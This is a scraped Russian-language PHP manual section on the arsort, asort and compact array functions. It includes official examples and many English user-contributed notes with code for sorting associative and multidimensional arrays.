                        echo    "mat[$x][$y]: " .
                                $mat[$x][$y] . " ";
                }
                echo "\n";
        }
?>
joshua dot e at usa dot net 24-May-2001 11:12
Here's a cool tip for working with associative arrays-
Here's what I was trying to accomplish:

I wanted to hit a DB, and load the results into an associative array, since I only had key/value pairs returned. I loaded them into an array, because I wanted to manipulate the data further after the DB select, but I didn't want to hit the DB more than necessary.

Here's how I did it:

<?php
//assume db connectivity
//load it all into the associative array
$sql = "SELECT key,value FROM table";
$result = mysql_query($sql);
while($row = mysql_fetch_row($result)) {
$myArray[$row[0]] = $row[1];
}
//now we expand it
while(list($key,$value) = each($myArray)) {
echo "$key : $value";
}
?>

I found this to be super efficient, and extremely cool.
slicky at newshelix dot com 20-Mar-2001 01:57
Notice that you can also add arrays to other arrays with the $array[] "operator" while the dimension doesn't matter.

Here's an example:
$x[w][x] = $y[y][z];
this will give you a 4dimensional assosiative array.
$x[][] = $y[][];
this will give you a 4dimensional non assosiative array.

So let me come to the point. This get interessting for shortening things up. For instance:

<?php
        foreach ($lines as $line){
            if(!trim($line)) continue;
            $tds[] = explode("$delimiter",$line);
        }
?>
rubein at earthlink dot net 26-Sep-2000 11:07
Multidimensional arrays are actually single-dimensional arrays nested inside other single-dimensional arrays.

$array[0] refers to element 0 of $array
$array[0][2] refers to element 2 of element 0 of $array.

If an array was initialized like this:

$array[0] = "foo";
$array[1][0] = "bar";
$array[1][1] = "baz";
$array[1][2] = "bam";

then:
is_array($array) = TRUE
is_array($array[0]) = FALSE
is_array($array[1]) = TRUE
count($array) = 2 (elements 0 and 1)
count($array[1] = 3 (elements 0 thru 2)

This can be really useful if you want to return a list of arrays that were stored in a file or something:

$array[0] = unserialize($somedata);
$array[1] = unserialize($someotherdata);

if $somedata["foo"] = 42 before it was serialized previously, you'd now have this:
$array[0]["foo"] = 42


Сортирует массив в порядке убывания, сохраняя ассоциацию индексов

  • « array
  • asort »
  • PHP Manual
  • Функции для работы с массивами
  • Сортирует массив в порядке убывания, сохраняя ассоциацию индексов

arsort

(PHP 4, PHP 5, PHP 7, PHP 8)

arsort — Сортирует массив в порядке убывания, сохраняя ассоциацию индексов

Описание

arsort(array &$array, int $flags = SORT_REGULAR): true

Функция сортирует массив (array) в порядке убывания так, чтобы ключи массива сохраняли корреляцию со значениями, с которыми они связаны.

Функцией пользуются для сортировки ассоциативных массивов, для которых важен текущий порядок элементов.

Замечание:

Функция сохраняет первоначальный порядок элементов, если при сравнении значения двух элементов равны. До PHP 8.0.0 порядок элементов в отсортированном массиве оставался неопределённым.

Замечание:

Функция сбрасывает внутренний указатель массива на первый элемент.

Список параметров

array

Входной массив.

flags

Необязательный второй параметр flags изменяет поведение сортировки и может принимать следующие значения:

Флаги типов сортировки:

  • SORT_REGULAR — обычное сравнение элементов; подробности описаны в разделе операторы сравнения
  • SORT_NUMERIC — числовое сравнение элементов
  • SORT_STRING — строковое сравнение элементов
  • SORT_LOCALE_STRING — сравнение элементов как строк на основе текущего языкового стандарта. Флаг использует языковой стандарт, который можно изменить функцией setlocale()
  • SORT_NATURAL — сравнение элементов как строки, используя "естественный порядок", например natsort()
  • SORT_FLAG_CASE — можно объединять (побитовое ИЛИ) с SORT_STRING или SORT_NATURAL для сортировки строк без учёта регистра

Возвращаемые значения

Функция всегда возвращает true.

Список изменений

Версия | Описание
8.2.0 | Тип возвращаемого значения теперь true; ранее было bool.

Примеры

Пример #1 Пример использования функции arsort()

<?php

$fruits = array("d" => "lemon", "a" => "orange", "b" => "banana", "c" => "apple");
arsort($fruits);
foreach ($fruits as $key => $val) {
echo "$key = $val\n";
}
?>

Результат выполнения приведённого примера:

a = orange
d = lemon
b = banana
c = apple

Названия фруктов были отсортированы в обратном порядке и ключи, ассоциированные с элементами, были сохранены.

Смотрите также

  • sort() - Сортирует массив по возрастанию
  • asort() - Сортирует массив в порядке возрастания, сохраняя ассоциацию индексов
  • Сравнение функций сортировки массивов

User Contributed Notes

stephenakins at gmail dot com 09-Jun-2017 01:25
I have two servers; one running 5.6 and another that is running 7.  Using this function on the two servers gets me different results when all of the values are the same.

<?php

$list = json_decode('{"706":2,"703":2,"702":2,"696":2,"658":2}', true);

print_r($list);

arsort($list);
echo "<br>";

print_r($list);

?>

PHP 5.6 results:
Array ( [706] => 2 [703] => 2 [702] => 2 [696] => 2 [658] => 2 )
Array ( [658] => 2 [696] => 2 [702] => 2 [703] => 2 [706] => 2 )

PHP 7 results:
Array ( [706] => 2 [703] => 2 [702] => 2 [696] => 2 [658] => 2 )
Array ( [706] => 2 [703] => 2 [702] => 2 [696] => 2 [658] => 2 )
sebas2day 07-May-2012 02:52
If you are dealing with a multidimensional array you want to sort, then this might be helpfull:

<?php
function array_sort($arr){
    if(empty($arr)) return $arr;
    foreach($arr as $k => $a){
        if(!is_array($a)){
            arsort($arr); // could be any kind of sort
            return $arr;
        }else{
            $arr[$k] = array_sort($a);
        }
    }
    return $arr;
}
?>
FatBat 13-Oct-2011 01:40
Needed to get the index of the max/highest value in an assoc array.
max() only returned the value, no index, so I did this instead.

<?php
reset($x);   // optional.
arsort($x);
$key_of_max = key($x);   // returns the index.
?>
jordancdarwin at googlemail dot com 15-Dec-2007 02:21
A lot of people seem to trip up on this and ask me questions as to debugging. Bear in mind that this returns boolean, and does not return an array of affected items.

$array = array("One"=>1, "Three" => 3,"Two" =>2);
print_r(asort($array));

If successful, will return 1, and error if there is a string used. Useful to note so then people stop asking me :D
rodders_plonker at yahoo dot com 21-Aug-2000 06:43
I was having trouble with the arsort() function on an older version of PHP which was returning an error along the lines of 'wrong perameter count for function arsort' when I tried to use a flag for numeric sorting (2/SORT_NUMERIC).
I figured, as I only wanted to sort integers, I could pad numbers from the left to a specific length with 0's (using the lpad function provided by improv@magma.ca in the notes at http://www.php.net/manual/ref.strings.php).
A string sort then correctly sorts numerically (i.e. {30,2,10,21} becomes {030,021,010,002} not {30,21,2,10}) when echoing the number an (int)$string_name hides the leading 0's.

Made my day :).

Rodders.
morgan at anomalyinc dot com 24-Nov-1999 07:30
If you need to sort a multi-demension array, for example, an array such as

$TeamInfo[$TeamID]["WinRecord"]
$TeamInfo[$TeamID]["LossRecord"]
$TeamInfo[$TeamID]["TieRecord"]
$TeamInfo[$TeamID]["GoalDiff"]
$TeamInfo[$TeamID]["TeamPoints"]

and you have say, 100 teams here, and want to sort by "TeamPoints":

first, create your multi-dimensional array. Now, create another, single dimension array populated with the scores from the first array, and with indexes of corresponding team_id... ie
$foo[25] = 14
$foo[47] = 42
or whatever.
Now, asort or arsort the second array.
Since the array is now sorted by score or wins/losses or whatever you put in it, the indices are all hoopajooped.
If you just walk through the array, grabbing the index of each entry, (look at the asort example. that for loop does just that) then the index you get will point right back to one of the values of the multi-dimensional array.
Not sure if that's clear, but mail me if it isn't...
-mo


Сортирует массив в порядке возрастания, сохраняя ассоциацию индексов

  • « arsort
  • compact »
  • PHP Manual
  • Функции для работы с массивами
  • Сортирует массив в порядке возрастания, сохраняя ассоциацию индексов

asort

(PHP 4, PHP 5, PHP 7, PHP 8)

asort — Сортирует массив в порядке возрастания, сохраняя ассоциацию индексов

Описание

asort(array &$array, int $flags = SORT_REGULAR): true

Сортирует массив (array) в порядке возрастания так, чтобы ключи массива сохраняли корреляцию со значениями, с которыми они связаны.

Функцией пользуются для сортировки ассоциативных массивов, для которых важен текущий порядок элементов.

Замечание:

Функция сохраняет первоначальный порядок элементов, если при сравнении значения двух элементов равны. До PHP 8.0.0 порядок элементов в отсортированном массиве оставался неопределённым.

Замечание:

Функция сбрасывает внутренний указатель массива на первый элемент.

Список параметров

array

Входной массив.

flags

Необязательный второй параметр flags изменяет поведение сортировки и может принимать следующие значения:

Флаги типов сортировки:

  • SORT_REGULAR — обычное сравнение элементов; подробности описаны в разделе операторы сравнения
  • SORT_NUMERIC — числовое сравнение элементов
  • SORT_STRING — строковое сравнение элементов
  • SORT_LOCALE_STRING — сравнение элементов как строк на основе текущего языкового стандарта. Флаг использует языковой стандарт, который можно изменить функцией setlocale()
  • SORT_NATURAL — сравнение элементов как строки, используя "естественный порядок", например natsort()
  • SORT_FLAG_CASE — можно объединять (побитовое ИЛИ) с SORT_STRING или SORT_NATURAL для сортировки строк без учёта регистра

Возвращаемые значения

Функция всегда возвращает true.

Список изменений

Версия | Описание
8.2.0 | Тип возвращаемого значения теперь true; ранее было bool.

Примеры

Пример #1 Пример использования функции asort()

<?php

$fruits = array("d" => "lemon", "a" => "orange", "b" => "banana", "c" => "apple");
asort($fruits);
foreach ($fruits as $key => $val) {
echo "$key = $val\n";
}
?>

Результат выполнения приведённого примера:

c = apple
b = banana
d = lemon
a = orange

Названия фруктов были отсортированы в алфавитном порядке и ключи, связанные с элементами, были сохранены.

Смотрите также

  • sort() - Сортирует массив по возрастанию
  • arsort() - Сортирует массив в порядке убывания, сохраняя ассоциацию индексов
  • Сравнение функций сортировки массивов

User Contributed Notes

marty8zhang at gmail dot com 06-Oct-2020 04:26
"This function sorts an array such that array indices maintain their correlation with the array elements they are associated with."

Note this sentence in the description has a quite important implication especially when you're working with an originally non-indexed (or say integer-indexed) array and JSON encoding/decoding.
I'm not reporting this as a bug, because the end result does fit into the description.

<?php

$myArray = ['small_image', 'image'];
var_dump(json_encode($myArray)); // string(23) "["small_image","image"]"
var_dump(is_object($myArray)); // bool(false)

asort($myArray);
$myJson = json_encode($myArray);
var_dump($myJson); // string(31) "{"1":"image","0":"small_image"}"
var_dump(is_object($myArray)); // bool(false)

/*
 * class stdClass#1 (2) {
 *     public $1 =>
 *     string(5) "image"
 *     public $0 =>
 *     string(11) "small_image"
 * }
 */
var_dump(json_decode($myJson));

?>
Jesse K 31-Aug-2020 07:49
'asort' is fine for sorting arrays in English, but if accented characters exist in the array then it is better to use the 'asort' method of PHP's Collator class:
https://www.php.net/manual/en/class.collator.php

$collator = new \Collator('fr_CA');
$collator->asort($french_list);

There are options for using `setlocale()` to control `asort` behaviour, but it isn't reliable across systems.
For instance, in my development environment I only have access to the following locals:

$ locale -a
C
C.UTF-8
POSIX
elhanafi123 at gmail dot com 20-Sep-2018 09:47
I have written this function so its sort an multidimensional array with a specific key.

<?php
function sort_array($array, $sort_value, $reverse = false){
    $value = $result = array();

    foreach($array as $key => $rows){
        $value[$key] = strtolower($rows[$sort_value]);
    }

    if($reverse == true){
        arsort($value);
    }else{
        asort($value);
    }

    foreach($value as $keys => $null){
        $result[] = $array[$keys];
    }

    return $result;
}
?>

Examples

<?php

$array = array(array('a' => 'foo'), array('a' => 'foo4'), array('a' => 'foo2'), array('a' => 'foo3'));
print_r($array);
//Array ( [0] => Array ( [a] => foo ) [1] => Array ( [a] => foo4 ) [2] => Array ( [a] => foo2 ) [3] => Array ( [a] => foo3 ) )

print_r(sort_array($array, 'a'));
//Array ( [0] => Array ( [a] => foo ) [1] => Array ( [a] => foo2 ) [2] => Array ( [a] => foo3 ) [3] => Array ( [a] => foo4 ) )

print_r(sort_array($array, 'a', true));
//Array ( [0] => Array ( [a] => foo4 ) [1] => Array ( [a] => foo3 ) [2] => Array ( [a] => foo2 ) [3] => Array ( [a] => foo ) )

?>
aditycse at gmail dot com 07-Aug-2015 12:41
/*
 * Name : Aditya Mehrotra
 * Email: aditycse@gmail.com
 */
//Example for sorting by values for an alphanumeric array also having case-sensitive data
$exampleArray1 = $exampleArray2 = array(
    0 => 'example1',
    1 => 'Example10',
    2 => 'example12',
    3 => 'Example2',
    4 => 'example3',
    5 => 'EXAMPLE10',
    6 => 'example10'
);

//default sorting
asort($exampleArray1);

// alphanumeric with case-sensitive data sorting by values
asort($exampleArray2, SORT_STRING | SORT_FLAG_CASE | SORT_NATURAL);

//output of defaut sorting
print_r($exampleArray1);
/*
 * output of default sorting
  Array
  (
  [5] => EXAMPLE10
  [1] => Example10
  [3] => Example2
  [0] => example1
  [6] => example10
  [2] => example12
  [4] => example3
  )
 */

print_r($exampleArray2);
/*
 * output of alphanumeric with case-sensitive data sorting by values
 Array
(
    [0] => example1
    [3] => Example2
    [4] => example3
    [5] => EXAMPLE10
    [1] => Example10
    [6] => example10
    [2] => example12
)
 */
stephen [ at ] brooksie-net [ dot ] co [ dot ] uk 01-Mar-2013 04:37
It is obviously necessary to log the keys used as so we don't overwrite previous entries in the array ;o)

N.B. this also effects the timings, but still faster than the alternatives :

     * int : 0.00159    (ms)
     * str : 0.00092    (ms)

<?php
private function _keySort(Array $data)
    {
        $keys = array();

        foreach($data as $row) {

            $keyIncrement =
                (!isset($keys[$row[$this->_orderField]]))
                    ? $keys[$row[$this->_orderField]] = 0
                    : ++$keys[$row[$this->_orderField]];

            $tempArray[$row[$this->_orderField].$keyIncrement] = $row;
        }

        if ($this->_orderDirection == 'DESC') {
            krsort($tempArray, SORT_NATURAL | SORT_FLAG_CASE );
        } else {
            ksort($tempArray, SORT_NATURAL | SORT_FLAG_CASE);
        }

        return $tempArray;

    }
?>
nick ([AT]) nickyost ([DOT]) com 15-Sep-2011 03:32
This function can be used to sort multidimensional arrays with almost no work whatsoever by using the individual values within the custom sort function.

This function passes the entire child element even if it is not a string. If it is an array, as would be the case in multidimensional arrays, it will pass the whole child array as one parameter.

Therefore, do something elegant like this:

<?php
     // Sort the multidimensional array
     usort($results, "custom_sort");
     // Define the custom sort function
     function custom_sort($a,$b) {
          return $a['some_sub_var']>$b['some_sub_var'];
     }
?>

This does in 4 lines what other functions took 40 to 50 lines to do. This does not require you to create temporary arrays or anything. This is, for me, a highly preferred solution.

Hope it helps!
Anon 06-May-2011 05:37
Case insensitive sort in one line:

<?php

array_multisort(array_map('strtolower', $array), $array);

?>
rick at toewsweb dot net 28-Apr-2011 04:40
On sorting by value first, then by key (cf., 2008-01-31 notes by mike at clear-link dot com):

What occurred to me to solve this problem was to extract the keys and values into separate arrays, then use array_multisort to get the desired order:

Ex:
<?php
$kvpairs = array('noun' => 'thought', 'animal' => 'fish', 'abstract' => 'thought', 'food' => 'fish', 'verb' => 'fish');
print "before:\n";
print_r($kvpairs);

// Essentially, one line of code is all that's needed for the sort:
array_multisort(array_values($kvpairs), array_keys($kvpairs), $kvpairs);

print "after:\n";
print_r($kvpairs);
?>

before:
Array
(
    [noun] => thought
    [animal] => fish
    [abstract] => thought
    [food] => fish
    [verb] => fish
)
after:
Array
(
    [animal] => fish
    [food] => fish
    [verb] => fish
    [abstract] => thought
    [noun] => thought
)

Of course, array_multisort allows you to specify sort order (SORT_ASC, SORT_DESC) and sort type (SORT_REGULAR, SORT_STRING, SORT_NUMERIC) for each array you pass it.
Eran 21-Apr-2009 05:15
i made this sample multi dimensional array sort to someone who needed to read lines from a text file instead of using sql - order by statement.

the idea is to take the key and sort(order) the specific column and then order the entire of the array as the selected column asort returned.

<?php
/**
 *
 * This sample is reading text data
 * and perform a sort to a 2 dimensional array
 * just like a normal sql do to "order by asc"
 *
 */

$foo = array();

/*
# SORT_REGULAR - compare items normally (don't change types)
# SORT_NUMERIC - compare items numerically
# SORT_STRING - compare items as strings
*/
$sort_by = SORT_REGULAR;

/*
# 0 - order by name column
# 1 - order by age column
# 2 - order by rank column
# 3 - order by color column
*/
$order_by = 1;

// source file
$line_of_text[1] = 'a1name|f2age|h3rank|jcolor';
$line_of_text[2] = 'b1name|d2age|i3rank|k4color';
$line_of_text[0] = 'c1name|e2age|g3rank|l4color';

// make array
for ($x=0; $x<=2; $x++)
{
    $line = explode('|',$line_of_text[$x]);

    // save it by coulmns otherwise it will saved like rows
    for ($i=0; $i<=3; $i++) {
          $foo[$i][$x] = $line[$i];
    }
}

// get the key order
$a = $foo[$order_by];

// sort
asort($a, $sort_by);

// start print
echo "<table cellpudding=0 cellspacing=0 border=1>\n";
        echo "<tr>\n";
          echo "<td>key</td>\n";
          echo "<td>name</td>\n";
          echo "<td>age</td>\n";
          echo "<td>rank</td>\n";
          echo "<td>color</td>\n";
        echo "</tr>\n";

// print by key order
foreach ($a as $k => $v) {
    echo "<tr>\n";
      echo "<td>$k</td>\n";
      // you can print here a for loop (0 to num of columns[=3])
      echo "<td>".$foo[0][$k]."</td>\n";
      echo "<td>".$foo[1][$k]."</td>\n";
      echo "<td>".$foo[2][$k]."</td>\n";
      echo "<td>".$foo[3][$k]."</td>\n";
    echo "</tr>\n";
}
echo "</table>\n";
?>
bakatamas at freemail dot hu 15-Feb-2008 02:34
Dear mike at clear-link dot com!

I needed a case insensitive version of your function. It is still not perfect as I have to do something with country specific characters (ouooueauiOUOOUEAUI)

function akisort(&$array,$valrev=false,$keyrev=false)
    {
    if ($valrev)
        {
        arsort($array);
        }
        else
        {
        asort($array);
        };
    $vals = array_count_values($array);
    $i = 0;
    foreach ($vals AS $val=>$num)
        {
        $first = array_splice($array,0,$i);
        $tmp = array_splice($array,0,$num);
        $tmp2 = array();
        foreach($tmp as $key => $value)
            {
            $tmp2[] = $key;
            $number = $value;
            };
        natcasesort($tmp2);
        reset($tmp2);
        print_r($tmp2);
        unset($tmp);
        foreach($tmp2 as $key => $value)
            {
            $tmp[$value] = $number;
            };
        if($keyrev)
            {
            $tmp = array_reverse($tmp, true);
            };
        $array = array_merge($first,$tmp,$array);
        unset($tmp);
        $i = $i+$num;
        };
};
mike at clear-link dot com 31-Jan-2008 03:56
Small typo in the aksort function I just submitted. Here's the entire thing again, with the correction noted:

<?php
function aksort(&$array,$valrev=false,$keyrev=false) {
  if ($valrev) { arsort($array); } else { asort($array); }
  $vals = array_count_values($array);
    $i = 0;
    foreach ($vals AS $val=>$num) {
        $first = array_splice($array,0,$i);
        $tmp = array_splice($array,0,$num);
        if ($keyrev) { krsort($tmp); } else { ksort($tmp); }
        $array = array_merge($first,$tmp,$array);
        unset($tmp);
        $i = $i+$num;
        // Fixed from previous post: $i = $num;
    }
}
?>
mike at clear-link dot com 31-Jan-2008 03:23
For a recent project I needed to sort an associative array by value first, and then by key if a particular value appeared multiple times. I wrote this function to accomplish the task. Note that the parameters default to sort ascending on both keys and values, but allow granular control over each.

<?php
function aksort(&$array,$valrev=false,$keyrev=false) {
  if ($valrev) { arsort($array); } else { asort($array); }
    $vals = array_count_values($array);
    $i = 0;
    foreach ($vals AS $val=>$num) {
        $first = array_splice($array,0,$i);
        $tmp = array_splice($array,0,$num);
        if ($keyrev) { krsort($tmp); } else { ksort($tmp); }
        $array = array_merge($first,$tmp,$array);
        unset($tmp);
        $i = $num;
    }
}

// Example
$tmp = array('ca'=>1,'cb'=>2,'ce'=>1,'pa'=>2,'pe'=>1);

// Standard asort
asort($tmp);
print_r($tmp);

// Sort value ASC, key ASC
aksort($tmp);
print_r($tmp);

// Sort value DESC, key ASC
aksort($tmp,true);
print_r($tmp);

// Sort value DESC, key DESC
aksort($tmp,true,true);
print_r($tmp);

// Results
Array
(
    [pe] => 1
    [ca] => 1
    [ce] => 1
    [cb] => 2
    [pa] => 2
)
Array
(
    [ca] => 1
    [ce] => 1
    [pe] => 1
    [cb] => 2
    [pa] => 2
)
Array
(
    [cb] => 2
    [pa] => 2
    [ca] => 1
    [ce] => 1
    [pe] => 1
)
Array
(
    [pa] => 2
    [cb] => 2
    [pe] => 1
    [ce] => 1
    [ca] => 1
)
mzvarik at gmail dot com 16-Jan-2008 09:29
I noticed that my function mentioned earlier is very misleading - somebody please delete that note!

This is how you sort:
<?php
setlocale (LC_ALL, 'czech');
$array = array("a", "c", "c");
usort ($array, 'strcoll');
print_r($array);
?>
przemekkus [at] interia [dot] pl 02-Nov-2007 06:34
Function written by a dot brandon at chello dot nl has an error  - wrong variable name. It should be:

if($rev) arsort($named_hash,$flags=0) ;

instead of

if($reverse) arsort($named_hash,$flags=0) ;
a dot brandon at chello dot nl 25-Jun-2007 07:18
I use this for quasi-SQL orderby. Loosely based on smileaf. Any good for you nerds?

<?

function named_records_sort($named_recs, $order_by, $rev=false, $flags=0)
{// Create 1-dimensional named array with just
 // sortfield (in stead of record) values
    $named_hash = array();
     foreach($named_recs as $key=>$fields)
             $named_hash["$key"] = $fields[$order_by];

 // Order 1-dimensional array,
 // maintaining key-value relations
    if($reverse) arsort($named_hash,$flags=0) ;
    else asort($named_hash, $flags=0);

 // Create copy of named records array
 // in order of sortarray
    $sorted_records = array();
    foreach($named_hash as $key=>$val)
           $sorted_records["$key"]= $named_recs[$key];

return $sorted_records;} // named_recs_sort()

function show_sorted_records($named_recs, $order_by, $rev=false, $flags=0)
{$sorted_records=named_records_sort($named_recs, $order_by, $rev, $flags);
foreach($sorted_records as $name=>$fields)
  {echo "<b>$name</b>   ";
   foreach($fields as $field=>$val)
          echo "$field = $val "; echo "<br>";}
} // show_sorted_records()

$girl_friends=array();
$girl_friends["Anna"]=
array("born"=>'1989-08-22',"cupsize"=>'B-',"IQ"=>105, "daddy"=>'rich');
$girl_friends["Zoe"]
=array("born"=>'1978-03-11',"cupsize"=>'C#',"IQ"=>130, "daddy"=>'poor');
$girl_friends["Lilly"]
=array("born"=>'1985-06-16',"cupsize"=>'DD',"IQ"=>90, "daddy"=>'nasty');

$order_by="cupsize"; echo "And the winners are: <br>";
show_sorted_records($girl_friends, $order_by, true);

?>
gunnar at taljaren dot se 14-Jun-2007 01:00
for ($i=0;$i<5;$i++)
   $values[] = $i;
asort($values);

works, but
for ($i=0;$i<5;$i++)
   $values[$i] =$i;
asort($values);
doesn't!
smileaf at smileaf dot org 24-Jan-2007 06:34
Ok I was mistaken, after re-reading the previous post the ".$key" is important. What caused the sorting issue for me wasn't that at all. But rather something else.
doing an: asort($records, $flags); before returning fixes the sorting problems.
The sorting problem I was refearing to causes a character based sorting done on numeric data.
so instead of:
1
2
3
...
10
12
20
It was returned back as
1
10
12
2
20
3
...
basically what I was trying to fix in the first place.
richard at happymango dot me dot uk 23-Nov-2006 03:52
This is a fixed version of the same function I posted below. Now it will handle duplicate entries in the sorted field. EG: If there were two records that had the name Heathrow it would still work.

<?php

function record_sort($records, $field, $reverse=false)
{
    $hash = array();

    foreach($records as $key => $record)
    {
        $hash[$record[$field].$key] = $record;
    }

    ($reverse)? krsort($hash) : ksort($hash);

    $records = array();

    foreach($hash as $record)
    {
        $records []= $record;
    }

    return $records;
}

?>
richard at happymango dot me dot uk 22-Nov-2006 03:35
This is a function to sort an indexed 2D array by a specified sub array key, either ascending or descending.

It is usefull for sorting query results from a database by a particular field after the query has been returned

This function can be quite greedy. It recreates the array as a hash to use ksort() then back again

By default it will sort ascending but if you specify $reverse as true it will return the records sorted descending

<?php

function record_sort($records, $field, $reverse=false)
{
    $hash = array();

    foreach($records as $record)
    {
        $hash[$record[$field]] = $record;
    }

    ($reverse)? krsort($hash) : ksort($hash);

    $records = array();

    foreach($hash as $record)
    {
        $records []= $record;
    }

    return $records;
}

// Example below

$airports = array
(
    array( "code" => "LHR", "name" => "Heathrow" ),
    array( "code" => "LGW", "name" => "Gatwick" ),
);

printf("Before: <pre>%s</pre>", print_r($airports, true));

$airports = record_sort($airports, "name");

printf("After: <pre>%s</pre>", print_r($airports, true));

?>

Example Outputs:

Before: Array
(
    [0] => Array ( [code] => LHR, [name] => Heathrow )
    [1] => Array ( [code] => LGW, [name] => Gatwick )
)

After: Array
(
    [0] => Array ( [code] => LGW, [name] => Gatwick )
    [1] => Array ( [code] => LHR, [name] => Heathrow )
)
php at web-in-time dot com 05-Sep-2006 02:47
acecream's function works fine, especially with the spectre extension.

nevertheless sometimes the index values have to be kept. To achieve this, just replace:

$sorted_arr[] = $array[$arr_key];

with:

$sorted_arr[$arr_key] = $array[$arr_key];
rojaro 23-Jun-2004 07:38
Advanced sort array by second index function, which produces ascending (default) or descending output and uses optionally natural case insensitive sorting (which can be optionally case sensitive as well).
Only the first two arguments are required.

<?php

function sabsi ($array, $index, $order='asc', $natsort=FALSE, $case_sensitive=FALSE) {
  if(is_array($array) && count($array)>0) {
    foreach(array_keys($array) as $key) $temp[$key]=$array[$key][$index];
    if(!$natsort) ($order=='asc')? asort($temp) : arsort($temp);
    else {
      ($case_sensitive)? natsort($temp) : natcasesort($temp);
      if($order!='asc') $temp=array_reverse($temp,TRUE);
    }
    foreach(array_keys($temp) as $key) (is_numeric($key))? $sorted[]=$array[$key] : $sorted[$key]=$array[$key];
    return $sorted;
  }
  return $array;
}

?>
spectre at hellfish dot NOSPAM dot org 28-Apr-2003 09:54
that works nicely, tho it breaks the result-array up if one or more of arrays indexes are deleted before sorting. this one should fix it up:

change:
for ($i = 0; $i < sizeof($array); $i++) {

to:
foreach ($array as $i => $k) {
mbevan at marginsoftware dot com 03-Dec-2002 01:25
Nevermind... use my last note as a quick tip: if you wish to keep the keys, use asort() and arsort() in place of sort() and rsort().
31-Jul-2002 06:48
Similar to above but for an array of arrays instead of an array of objects.

<?php
function aasort($x,$var,$cmp='strcasecmp'){
  if ( is_string($var) ) $var = "'$var'";
  uasort($x,
    create_function('$a,$b',
      'return '.$cmp.'( $a['.$var.'],$b['.$var.']);')
  );
  return $x;
}
?>
phzzzt .a.t. acm .d.o.t. org 31-Jul-2002 06:32
Similar to above but for an array of arrays instead of an array of objects.

<?php
function aasort($x,$var,$cmp='strcasecmp'){
  if ( is_string($var) ) $var = "\'$var\'";
  uasort($x,
    create_function('$a,$b',
      'return '.$cmp.'( $a['.$var.'],$b['.$var.']);')
  );
  return $x;
}
?>
salchicha at cable dot net dot co 03-Apr-2002 01:23
Here's one I whipped up to allow you to sort an array of a specific class by a member or function:

<?php
// Sort a class by one of its members (even lowercase!!!)
function casort($arr, $var) {
   $tarr = array();
   $rarr = array();
   for($i = 0; $i < count($arr); $i++) {
      $element = $arr[$i];
      $tarr[] = strtolower($element->{$var});
   }

   reset($tarr);
   asort($tarr);
   $karr = array_keys($tarr);
   for($i = 0; $i < count($tarr); $i++) {
      $rarr[] = $arr[intval($karr[$i])];
   }

   return $rarr;
}
?>

It works very well. For example, I have a Room class with members title, isActive(), date, etc. I can sort an array by casort($rooms, "title") or casort($rooms, "isActive()") and it'll work.
rcwang at cmu dot edu 02-Mar-2002 05:42
Here's my version of sorting multi-dimensional array by 2nd index.
Feel free to change the code to suit your needs.

<?php
function aSortBySecondIndex($multiArray, $secondIndex) {
    while (list($firstIndex, ) = each($multiArray))
        $indexMap[$firstIndex] = $multiArray[$firstIndex][$secondIndex];
    asort($indexMap);
    while (list($firstIndex, ) = each($indexMap))
        if (is_numeric($firstIndex))
            $sortedArray[] = $multiArray[$firstIndex];
        else $sortedArray[$firstIndex] = $multiArray[$firstIndex];
    return $sortedArray;
}
?>
freeman at generalresources dot com 04-May-2001 04:51
The asortbyindex($sortarray, $index) looks like sort not asort. The key of the $sortarray was changed.
sweetland at whoadammit dot com 15-Aug-2000 12:02
Here's a little routine I whipped up to sort multi-dimensional arrays:
<?php
/**
 ** comesafter ($s1, $s2)
 **
 ** Returns 1 if $s1 comes after $s2 alphabetically, 0 if not.
 **/

function comesafter ($s1, $s2) {
        /**
         ** We don't want to overstep the bounds of one of the strings and segfault,
         ** so let's see which one is shorter.
         **/

        $order = 1;

        if (strlen ($s1) > strlen ($s2)) {
                $temp = $s1;
                $s1 = $s2;
                $s2 = $temp;
                $order = 0;
        }

        for ($index = 0; $index < strlen ($s1); $index++) {
                /**
                 ** $s1 comes after $s2
                 **/

                if ($s1[$index] > $s2[$index]) return ($order);

                /**
                 ** $s1 comes before $s2
                 **/

                if ($s1[$index] < $s2[$index]) return (1 - $order);
        }

        /**
         ** Special case in which $s1 is a substring of $s2
         **/

        return ($order);
}

/**
 ** asortbyindex ($sortarray, $index)
 **
 ** Sort a multi-dimensional array by a second-degree index. For instance, the 0th index
 ** of the Ith member of both the group and user arrays is a string identifier. In the
 ** case of a user array this is the username; with the group array it is the group name.
 ** asortby
 **/

function asortbyindex ($sortarray, $index) {
        $lastindex = count ($sortarray) - 1;
        for ($subindex = 0; $subindex < $lastindex; $subindex++) {
                $lastiteration = $lastindex - $subindex;
                for ($iteration = 0; $iteration < $lastiteration;    $iteration++) {
                        $nextchar = 0;
                        if (comesafter ($sortarray[$iteration][$index], $sortarray[$iteration + 1][$index])) {
                                $temp = $sortarray[$iteration];
                                $sortarray[$iteration] = $sortarray[$iteration + 1];
                                $sortarray[$iteration + 1] = $temp;
                        }
                }
        }
        return ($sortarray);
}
?>

It's a bit long with all the comments, but I hope it helps.
bwuhlman at tallships dot ca 02-Aug-2000 03:01
Well, actually, asort has *two* annoying features.

It works perfectly well sorting hashes (or associative arrays, as you might have it), but doggedly refuses to sort regular arrays maintaining index assocation. Kind've makes sense, but the docs don't explicitly say you can't do it.

Urgggh.
jacko at kring dot co dot uk 24-Feb-2000 11:26
asort has one anoying feature, it ignores any default or implicit order in the data.  i.e. if two elements of an array contain "banana" then it is not garanteed that the first will still be the first after the sort.
This makes the Burrows-Wheeler block sort a bit of a pain to impliment, with a trailing string having to be appended to all strings before sorting, and removed after sorting. To maintain the so called "banana" order.


Создаёт массив, содержащий названия переменных и их значения

  • « asort
  • count »
  • PHP Manual
  • Функции для работы с массивами
  • Создаёт массив, содержащий названия переменных и их значения

compact

(PHP 4, PHP 5, PHP 7, PHP 8)

compact — Создаёт массив, содержащий названия переменных и их значения

Описание

compact(array|string $var_name, array|string ...$var_names): array

Создаёт массив, содержащий переменные и их значения.

Для каждого переданного аргумента функция compact() ищет в текущей таблице символов переменную с таким же именем и добавляет её в выводимый массив так, что имя переменной становится ключом, а значение переменной становится значением этого ключа. Короче, она выполняет операцию, противоположную функции extract().

Замечание:

До PHP 7.3 строки, для которых не были найдены переменные, будут пропущены без генерации ошибки.

Список параметров

var_name
var_names

Функция compact() принимает неограниченное количество аргументов. Любой из аргументов может быть либо строкой, содержащей название переменной, либо массивом названий переменных. Массив может содержать вложенные массивы названий переменных; функция compact() обрабатывает их рекурсивно.

Возвращаемые значения

Возвращает массив с добавленными переменными.

Ошибки

